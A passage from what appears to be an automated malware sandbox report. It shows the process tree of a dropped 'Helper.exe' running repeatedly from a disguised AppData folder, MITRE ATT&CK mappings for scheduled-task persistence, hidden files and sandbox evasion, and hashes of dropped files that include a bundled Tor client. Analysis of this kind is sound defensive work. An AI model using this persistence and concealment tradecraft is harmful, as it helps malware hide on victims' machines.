    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:2200
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:3056
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:1604
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2492
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2528
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:2912
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2776
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2848
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1324
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1540
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1264
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:1796
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1696
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1588
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2300
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1724
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:664
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2592
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2708
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2208
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2000
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2948
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2072
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2520
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1848
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1900
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:1300
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1236
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1364
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2040
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2800
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2404
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2852
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1212
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2880
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2728
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2648
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2632
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2128
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2208
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2112
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:1816
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2892
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

32.exe

Path C:\Users\Admin\AppData\Local\Temp\32.exe
Size 7.4MB
SHA256 6cd0a0976cff64c5287c166b73e5c877f026274f85599344756c47e9aa756bcb
MD5 7f9e6ee81558b38fbe276f60949d38b9
SHA1 6358b944b0515b04da8fe7fda7dc3dbbfb82423c
SHA512 960966cc6254f15d5653ec9dbfe0fdc6725f2c1209b4ddb8b1c68d8f646521340f91029a53a5c8c60c9f813f3fe3e83644b052913178ac75886ccbd894be9ce3
SSDEEP 98304:t2cPK8kJ/IPw1SX5tmvjxxvRSsz4ElFq3YCvScxzk3AxDsfV/cHRVqqqbQSd5rAM:sCK8UZvFx0sz4jvTsixVqqqbRd58
MD5 SHA1 SHA512 SSDEEP

Submit Download

64.exe

Path C:\Users\Admin\AppData\Local\Temp\64.exe
Size 8.4MB
SHA256 390126ab71cd12f414f4200cc246d5283c534ab216794ce9980048779960ea68
MD5 a2a5a9b937771a4b82694c844fd27e36
SHA1 402e2f7bfe1f24d6ea048d58bf156676132f515d
SHA512 d352b147c8f045f9931725d25166916ce081ac5cf251f2987fb011deed2e8d3e08f91dbce8a2464abab5561b7915d69cbb7a0d02437b30b6fd3d5622621149e1
SSDEEP 196608:rblT5269RvMF2fk0FV3Zlfa4QFfIM2rW4/Az:3T26XvclsV3na4QUrW4/
MD5 SHA1 SHA512 SSDEEP

Submit Download

CR_Debug_Log.txt

Path C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt
Size 14.6MB
SHA256 0afc8b7c47f48ef991535d435d48411ea12c4b98f14253a27b15ec6d7f020620
MD5 cfe4b8f7535c958ea26cde6f32b559aa
SHA1 253ba3372c6c0b1c301f6e968c4fb7d5ffd696d0
SHA512 01e8862cb7c1a3b247d09ca8e9f94c40232aaed93ab9f1937de0f69f83ba3d32926b6289b7bc5b8ae2bb06876b915a50ed65bb8ba10ffadcbbee579ce968bd39
SSDEEP 393216:G8e9/WwPLKTflPxgW9Y/tITU9jUNhwU8Tp4bXqZ:G8aPDEc1CQ9jU0U8Tp4bqZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

SystemCheck.xml

Path C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml
Size 2KB
SHA256 0fe356f3d04bb43f772604b049fd2b20f3038ca2ce84bf9778b8ccdd481d77ab
MD5 9160347bec74471e1a79edfd950629ae
SHA1 c149a7e5aab6e349a70b7b458d0eaaa9d301c790
SHA512 b8061834f658567a1e742496c38688bdecd60191a92163d47470f64aa1fba23e92dd36fa1d2bb7efa36f14002c0606013973718b9f107e62d845a17be4b0d358
MD5 SHA1 SHA512

Submit Download

asacpiex.dll

Path C:\Users\Admin\AppData\Local\Temp\asacpiex.dll
Size 14.6MB
SHA256 12afa4813940c6985259f487d5e2892550596a60c6c77f806aefa2c254c74bb4
MD5 2380aed7f261148fdb35af6688e408ee
SHA1 fa359778d16c934ba96b96f3c6c17a10a9e266b0
SHA512 646bdbc4f01991460755c6a2c2dbbca0a0170c83d06050ba50ec1b5406d58f8035498c84462dd9e6ab1d695b8854e2f4734d64ec2f4ab1083371fd145963bb85
SSDEEP 393216:x8e9/WwPLKTflPxgW9Y/tITU9jUNhwU8Tp4bXqZ:x8aPDEc1CQ9jU0U8Tp4bqZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

x.exe

Path C:\Users\Admin\AppData\Local\Temp\x.exe
Size 18.1MB
SHA256 41686ad9f581037f44b72b37f8bee562512854fc6807c5a13ea1646cdeab61c8
MD5 efcd72ad2d3430248a68e5f960ed5e2b
SHA1 58cc7d2732f401b99926211c0dab319dfc0bba1a
SHA512 d50dd3628e0ed5b6040545e1a1836ffcdde30c4748b220efb7df29aa139b22b814d2466d6808c8dc3af765b9ce8092582720f69187a6562eefd6fca4cb9670e5
SSDEEP 393216:CyBCMSC2S2ExW7Xn7U4pFbTuPEr1ot7tZNH4wU4UFXu1I9EpS:XBCMcmY7XnhFuPG1otRZNpJgB+
MD5 SHA1 SHA512 SSDEEP

Submit Download

SysBackup.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp
Size 11KB
SHA256 0c17d28b04daa3d488738840f7d6341eb091335c0b50a86b8d62c718e71d3a34
MD5 fa5dde9d49247a9671b540624ed7bc85
SHA1 b054c4d3428ae5a47a97007adc11f5e9bdc03206
SHA512 905138907a3b8560049a47629fa87ccbd850a898e0de53412fbf7ecf703588b4fb5ad15e79a637ab7c311a8a572f99f685ddd3ac9d02943ef50b6af7a5e4982c
SSDEEP 192:lxgFVITFGdblMw5nZ997sc+vLfB6kvYq2GeakpMOiifS0ecoHGARXB0j+mKDezNc:lsVITFGplTpZH7sc+Dp6kAvDaIMOiiVo
MD5 SHA1 SHA512 SSDEEP

Submit Download

SysBackup.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp
Size 2.6MB
SHA256 03b7f47481eaf1f2c942f4a41a3a6411e22493c2d5b25ab1cab38ffe11cccb76
MD5 21e3778b11e03ced442a1ac73d8949ee
SHA1 9e416a029a3c6e6738cba0d1f69253ca283b73ea
SHA512 20b91dea4e9f8f9dc8b672be51fb161f1b7a60fac9523921bc084f64c684f688070ec0e01c93f57294a7b13f5ecd33f9eac0eb22acd65b528162bfb08d0bd1a9
SSDEEP 49152:M28fj16f7DJALGCYf5+v9Yx0JjBFmr5E3JHl9fCB+Z4BxgN1w8WsdF:T8fjU7xCq5+FYxWvndl9fCUKBDsdF
MD5 SHA1 SHA512 SSDEEP

Submit Download

SysBackup.txt

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.txt
Size 15.8MB
SHA256 188b7e3f0135cf683c393ab88930e93f29d4a0c31c08841237afaf543ecb2e12
MD5 7268eb05d51294219569569ea006da2a
SHA1 ade2c0a248f6aae9ff00f42e04dd3d1de242b289
SHA512 0056df445e950fc3a76dcb64c4ab8c8b187436d18e95b916b7e83e7e215fa8371bae91501252b1a6e15dbc5414ae674381b758c84a2814d4c88bd856e3deef46
SSDEEP 24576:XOokdwqDSeA/V4EqoJGKZOMk21oQBdMS+z4mh7IUwDqOyUMYivKFBeQSg5z46jbX:P
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tor.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp
Size 2.5MB
SHA256 9a78c80e93bd1ed3d71eb090465e39a69470cd1812fc5e169d8b412e8c665963
MD5 54183220aa6c777f8228474ff5b5df01
SHA1 ed438f17bffb37d42afd61d8dcef0c50d554c65c
SHA512 70b1e22449c5264bed46b62595206e3ad36e2a9c33fa9589acb792d499dcbbae5ebdbf3b35c140e72a7d594f807a6ce1ab925736b5e1a07c17a26445a2591987
SSDEEP 49152:xBzi9LdDLYmoYJ6uNXGT3jxWQTPyB9pC6tOpJMvPyc+r:x8j7NJ6ulGLjxR+B9ostk
MD5 SHA1 SHA512 SSDEEP

Submit Download

cached-certs

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-certs
Size 20KB
SHA256 4dc398a3279cda6b1d8ee72b113ec8621fa14a628672f114a70e9c6e63d53f52
MD5 91c07ea6d0c3efff4797393480bd52cc
SHA1 b0aa70f7ce7da7f0d03d337f1d634fa532af2585
SHA512 4df500d09c5814eb9b7063e66c6ddfcc0e4f0c5c03ef511e1d3d773eed6bccb58e6b3c42fe4a66794f35939625a96419be8c44de9868dfd5e8d684330ce7e00f
SSDEEP 384:jd24VdzVH591hFsNlzd4ReWVVNX1hP2h4YVc1h1f/40VVq1h8PXttMY4QkV6icO5:R26ZJQl5Ie+PXj6xyhHJiO9RBkoicOaA
MD5 SHA1 SHA512 SSDEEP

Submit Download

cached-microdesc-consensus.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdesc-consensus.tmp
Size 2.6MB
SHA256 56d314bf70a9bb7ea42a57154fa76edc7ed1f67f222b6808d40c740076e96e94
MD5 dafad6822434f0f3c41dfe9faf8892f2
SHA1 8ec4149fe13ca172ed1e3058b107bd89bb1f3015
SHA512 6a961abb9747dadc37d69c1aeaa6af036d993a27326d4c0135eed6ac85490ce69a6543c23d0d3befad352af0b97a9bb9267736c504d55f1d2ef4e2378a0a115d
SSDEEP 12288:HHkBsWZFo7St2HryOR3nXhDiMc5DYAj7byKugKgLnCiWKQjWxc9vMK:HewA2LfpiHDkgefK2Lvj
MD5 SHA1 SHA512 SSDEEP

Submit Download

cached-microdescs.new

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdescs.new
Size 10.1MB
SHA256 ac947a9934806b5a18422517249424a2f2e6c77e89677d69d838c2999083af73
MD5 b1a2c7a59dacce3143883f58242ac32c
SHA1 d4ece441f03911803a43de67234fdff367ca74bd
SHA512 31228c7398eb2190eedc31e65d7bac48b4b85afb3a2e74439acce2bafae21e169f24042f86e1f06cc1efa0904b8f3cb003ccf18031cea894fe162d3992cdf617
SSDEEP 24576:6LY2QUVDl0S3wNNf0yE3LbO8mWOc8J4NCoMVFR0wZ8NLzRz5Thrl9T+Ml1I0IWPT:0Ao3nxLjkY
MD5 SHA1 SHA512 SSDEEP

Submit Download

cached-microdescs.new

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdescs.new
Size 20.4MB
SHA256 f4bf9804cdb815fa0d27c50050eb8275b2e42417a955f345b5ab575972d0d016
MD5 1622ae1fcd582d7c94afbc31b3806bfb
SHA1 1635f22d72802399110754673229c84d6a9bf8ea
SHA512 dcbd23c31360fbd1e143546adf8903bdb3d52329177fd92823b0a72b04111e7e2f11bb77ef478ac4872158bf78c9c9a5e9a2194560fe79aa66eae2a1c2b30d1b
SSDEEP 24576:6LY2QUVDl0S3wNNf0yE3LbO8mWOc8J4NCoMVFR0wZ8NLzRz5Thrl9T+Ml1I0IWP2:0Ao3nxLjkpTAFZHuCKlSxW1
MD5 SHA1 SHA512 SSDEEP

Submit Download

state

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\state
Size 4KB
SHA256 30bdcd44aa1d52591a9c6a4537cc5c25241f53935f50d5368037790fcc107ed2
MD5 d9dc87c1ecbf97ec1fd49d3a7116f6e5
SHA1 811bc205d89824bdb5f76c9eb6ca6172884d9db6
SHA512 c66a6302c8952b7d29491920af49dd3e3fb9889612a072b12c5e2de31754bda98d1084dd872bd3875616989581bf8a03c3376fca39a20d59581ec88170b81275
SSDEEP 96:jbVABb/bU7b/iZST/9VnRicyylbCRwsCeI:Fqb/zSpyaxCRi
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tor.pid

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorData\Tor.pid
Size 6B
SHA256 20c19ce3b4022e5eea73a3819dd25f921174d22a280712dbf337e651de77aa74
MD5 ec7c99bf483bf6029f3c10ed44343de3
SHA1 4df81ae9ac5cbe35dab08b837d76488439fb967c
SHA512 28b9e7f7b022ecec565743037f7294fefe884fe1a162b2babc12e2f4dcc4b8b2d83d7907a05271f3edeed5f232a6d836d270d36619f7f5eca6a899c69540804b
MD5 SHA1 SHA512

Submit Download

TorConfig

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorData\TorConfig
Size 201B
SHA256 69d57bfb46ef8097c1cfca65885790421d0e0965b7778f165cd7df9368807776
MD5 b9d2fe9cfa840518fa39039c928d4938
SHA1 0561516b7cfa784cf400349983817c8b18817256
SHA512 894510d39a044a37325d73b8348860960b3a78c54e7cdf81357f4b50e8dcf5d47ab98c768e6439949ba835802b2a5e98314441127d9655b027caf246e09e013d
MD5 SHA1 SHA512

Submit Download

libevent_core-2-1-7.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent_core-2-1-7.dll
Size 646KB
SHA256 d6a7d46f6fc803b50460d03c0bc14f2f128ee2becabcf1713715bcebf13ee75b
MD5 c1507e234ff7f11a259d87a57af740be
SHA1 7478ba561c9f478ede650561867ebd2db58da42f
SHA512 64d0657050028d846097429ad1268844038059279e1256329716b937338de5fc1b5f50f420b8aa781c5e2a19f15158f564569db639981fef10fa5e57dfd4717b
SSDEEP 12288:yzaf5XHxEF6IFe12R8Vgwg4Il8B1sNajJyXpEGc:ygO6IFe12R82wg4Il8OajYXpEGc
MD5 SHA1 SHA512 SSDEEP

Submit Download

libevent_extra-2-1-7.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent_extra-2-1-7.dll
Size 657KB
SHA256 ec52e90c68dd0e7603df3f9fe6c909d019a7e94dc3ce0efd8baf67864a43b74b
MD5 7cb2f0f4bba8d16c3200e9ac2a25b7c0
SHA1 63cf39682bf6876f563e1567df3c55fd5939e6ea
SHA512 7a660d87739914c68cadb56a4acbf27d68fd145b3bb65b957b4c767dfabe0762c40d58faa3a2df3b3453083ea658411c79d53be5166dda844782a9cd2617a264
SSDEEP 6144:DkgA5qreV3drclC2rphOayIeuk98y2aawh+dDeFoqu1WeGsZwikQSsLWqfGKJG6n:DkgPr+3duF0FL38VFwEYZ1Ffs6Dv6MFc
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libgcc_s_seh-1.dll
Size 1.1MB
SHA256 b94b8981f8110944c5b03c9cba4066e9d0daa13687dead387bcbc772132c6d24
MD5 ead6d4a87041e13b9041f78be1cb84d1
SHA1 896a336e08a1904537ee5a4a86eb0e885a18e17a
SHA512 34054ec79691145a8d511f9425f9ad44e07f8bfb38bd0b3251a5db3358c0055344615990fb770d4bdcbf04c9461847dfd4f6d2bac1e43ec815426a94d065c580
SSDEEP 12288:Qqyd8LmXFQbTbLb5bIbwbMb6mQPFAHbG3a3q3i3K373fQl3x3F3msFbgbCs/bgby:QjhXFyAyQc3qQGwY8Xw47/harSKfa3G0
MD5 SHA1 SHA512 SSDEEP

Submit Download

tor.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe
Size 4.3MB
SHA256 7052619814a614a1b157c5c94a92dbec22b425a0977ac8b21958b8db81e2dd65
MD5 9f2d86da7d58a70b0003307d9cfc2438
SHA1 bd69ad6ea837e309232d7c4fd0e87e22c3266ac5
SHA512 ce345ff77d8043f416a04b782be8e7b0d5fdea933f3ac79abb88648a9fca23d7a69f537a825d0b636ba64f80afe70f758114ddbf412bd9398800ba4b6e359a99
SSDEEP 49152:ra35tY5FhBfpjB6SkKeW/nrN9itixC5QV9h1y6+jF2/Tsq7r/I8wKeKmCwjE34dg:rtfTwoS5GwK8QQI05wb7KN
MD5 SHA1 SHA512 SSDEEP

Submit Download

CL_Debug_Log.txt

Path \Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
Size 722KB
SHA256 ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d
MD5 43141e85e7c36e31b52b22ab94d5e574
SHA1 cfd7079a9b268d84b856dc668edbb9ab9ef35312
SHA512 9119ae7500aa5cccf26a0f18fd8454245347e3c01dabba56a93dbaaab86535e62b1357170758f3b3445b8359e7dd5d37737318a5d8a6047c499d32d5b64126fc
SSDEEP 12288:AwAxBpwU5gU+2/9dB5XlH1YAEa5OLW0TjLWG3rn0Yf5ogmn9X9Rf6TIALr22DIVM:AhY2gUfVH5XlVYzagW4/3rn0Y5zmzRfq
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcrypto-1_1-x64.dll

Path \Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libcrypto-1_1-x64.dll
Size 3.4MB
SHA256 af682ad107cf0e9d9f11adeaf88f817610988b56577c4020897debc0f98e26ff
MD5 791a48e7cf84ec1532d20127556f6300
SHA1 774f71e595cfc7e24dc941839566bc9edd9156c5
SHA512 ecbb4a07bb68fec5258be0adc91b89d179b5668bbab3be3bd72d5339f8bf3b32a1860b38693a304029fe989bd92adb020cf755f673b1e59966dfc75e4f958cfa
SSDEEP 98304:NKKKpx1T+UgptKpJEoVQ3ntevKONU1CPwDv3uFfJcFxfarop5mzeG0MCv13uFnCT:NKPYtKZvxU1CPwDv3uFfJq2dCv13uFni
MD5 SHA1 SHA512 SSDEEP

Submit Download

libevent-2-1-7.dll

Path \Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent-2-1-7.dll
Size 974KB
SHA256 98d06628e3d9c8097d239722e83ad78eb0b41b1e2f54d50a500da6d9292ff747
MD5 be51ba4bea2d731dacf974c43941e457
SHA1 51fc479fd8ee9a2b72e6aa020ce5bb1c7a28f621
SHA512 6184accd206aa466278c2f4b514fd5c85820d47cf3a148904e93927621ac386890e657f09547b694c32ef23c355ae738b7c7d039fcd6c791529198c7b0b6bd1e
SSDEEP 24576:F1xKMQXFD5xLbFQ1rIqt88wa3HwfVpwMt4YoQEec:FWMQF9x/FQ1rIqt88h3HwfVpwMtvoQE9
MD5 SHA1 SHA512 SSDEEP

Submit Download

libssl-1_1-x64.dll

Path \Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libssl-1_1-x64.dll
Size 965KB
SHA256 38200438cf0c9c20d17e5b9030d2ad2e4a1b6b9dc41c287bc603dd50d22e67bb
MD5 7847c7b13b3414e8e7652880b4609205
SHA1 930670acc16157f56aaf69423e5d7705441764ba
SHA512 c3c81dc3eb546c40b3606338deadbd63331659645dd24b5fd0d4fb3170b053fef528ee3fe005c9446176a5c049e9412ea8193ad2f8b9a7301ff67b088f1bbb6e
SSDEEP 24576:XeUyCrBvZMUnrrfTglMgIcKsW+3fu1UYafFGx8hw3kQfj++pgkjQWyf6NUhsZHQG:uUyClvZLnrrfTglIcKSPu1UYafFGx8hM
MD5 SHA1 SHA512 SSDEEP

Submit Download

libssp-0.dll

Path \Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libssp-0.dll
Size 313KB
SHA256 c6dca12e0e896df5f9b2db7a502a50d80d4fb014d7ec2f2ceb897b1a81f46ead
MD5 97d89dec5f6a236b6832a5f3f43ab625
SHA1 18f2696a3bf4d19cac3b677d58ff5e51bf54b9e8
SHA512 7e82d1e37dc822a67e08bd1d624d5492f5813a33ec64f13d22caef9db35ebb9bb9913582289ebdecad00e6b6148d750ae0b4437364ef056d732734255498be54
SSDEEP 6144:22rpBeu998y2hawOY+AbeF6quseWUGEZwi2QSs1WqYGK5Gp35XdL:1F0i8VIwUZHNln5s4G7XdL
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path \Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libwinpthread-1.dll
Size 608KB
SHA256 27b857131977106c4a71ce626225d52a3d6e2932cb6243cb83e47b8d592d0d4f
MD5 624304f2ba253b33c265ff2738a10eb9
SHA1 5a337e49dd07f0b6f7fc6341755dc9a298e8b220
SHA512 163820961a64b3fda33969cbb320aa743edc7a6bacebe033054c942e7a1d063f096290a59fad1569c607666429e2f3133fcfe31ef37649f9da71b453ef775e5a
SSDEEP 12288:9Hxim3YVFMcqlMaNp0ONkRdNhHdrz8VHwziAEtIUuUYWTh4x:9Hxim3YVFMcqlMaNp0ONkRdNhHdrz8pQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

zlib1.dll

Path \Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\zlib1.dll
Size 107KB
SHA256 da9185e45fdcbee17fcd9292979b20f32aa4c82bc2cb356b4c7278029e247557
MD5 d490b6c224e332a706dd3cd210f32aa8
SHA1 1f0769e1fffddac3d14eb79f16508cb6cc272347
SHA512 43ce8d4ee07d437aaca3f345af129ff5401f1f08b1292d1e320096ba41e2529f41ce9105e3901cb4ecb1e8fde12c9298819961b0e6896c69b62f5983df9b0da3
SSDEEP 1536:5C/8JFzdu69Jvxy/A38icHRk9tWvIcDusp0nToIf/iIOnIOGjzk:5c8JFzv9lxF38tvuspYTBf/AJGvk
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1768-3423-0x0000000002BD0000-0x0000000002BF0000-memory.dmp

Download

memory/1768-3436-0x0000000002BD0000-0x0000000002BF0000-memory.dmp

Download

memory/1768-3424-0x0000000002C90000-0x0000000002CB0000-memory.dmp

Download

memory/1768-3425-0x00000000032C0000-0x00000000032E0000-memory.dmp

Download

memory/1768-3421-0x00000000001B0000-0x0000000000CC1000-memory.dmp

Download

